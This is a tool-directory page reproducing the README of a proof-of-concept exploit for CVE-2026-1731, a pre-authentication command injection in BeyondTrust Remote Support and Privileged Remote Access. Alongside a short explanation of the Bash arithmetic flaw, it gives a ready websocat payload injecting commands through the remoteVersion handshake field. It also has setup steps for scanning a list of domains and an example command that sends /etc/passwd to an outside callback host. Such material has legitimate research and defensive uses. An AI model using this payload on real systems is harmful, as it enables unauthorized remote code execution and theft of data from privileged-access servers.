Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1731 — CVE-2026-1731 - Critical command injection vulnerability in BeyondTrust Remote Support and Privileged Remote Access due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script | Kitploit
Tools/GitHubGitHub/win3zz/cve-2026-1731
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubwin3zz/cve-2026-1731

CVE-2026-1731

CVE-2026-1731 - Critical command injection vulnerability in BeyondTrust Remote Support and Privileged Remote Access due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script

View Repository
35847 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE PoC

[!WARNING] This script is intended for educational and research purposes only. Do not use it against systems without explicit permission. Unauthorized access or testing is illegal and unethical. Read the full DISCLAIMER before using this script.

Overview

This script demonstrates a critical command injection vulnerability (CVE-2026-1731) affecting BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The issue originates from the same WebSocket-reachable endpoint involved in the earlier high-profile CVE-2024-12356, making this a closely related variant.

The vulnerability exists because the server's thin-scc-wrapper script performs arithmetic comparisons on attacker-controlled input, specifically the remoteVersion value sent during the WebSocket handshake. Bash treats operands in numeric comparisons as expressions, not plain strings, which allows crafted payloads like a[$(cmd)]0 to trigger arbitrary command execution during evaluation.

Even though BeyondTrust added a numeric sanity check in this patch cycle, it does not prevent Bash from performing expression evaluation later, leaving the endpoint exploitable. Attackers can gain code execution simply by opening a WebSocket connection and sending a malicious version value before authentication.

Payload

root@kitploit:~
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -

Dependencies

root@kitploit:~
pip3 install requests

Download websocat

root@kitploit:~
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat

(Place it in the same folder as your Python script.)

Or move it system-wide:

root@kitploit:~
sudo mv websocat /usr/local/bin/

Create domains.txt in the same directory

Add the URLs you want to test:

root@kitploit:~
example1.com
example2.com
example3.com

Script Usage

Edit the following line in the script to configure the command you want the WebSocket exploit to execute:

root@kitploit:~
CMD = "YOUR-COMMAND-HERE"

For example:

root@kitploit:~
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"

Once the command is set, run the script:

root@kitploit:~
python3 exploit.py

Or make it executable and run it directly:

root@kitploit:~
chmod +x exploit.py
./exploit.py
1
2

Mitigation

  • https://www.beyondtrust.com/trust-center/security-advisories/bt26-02

Reference

  • Original analysis - https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
Download Tool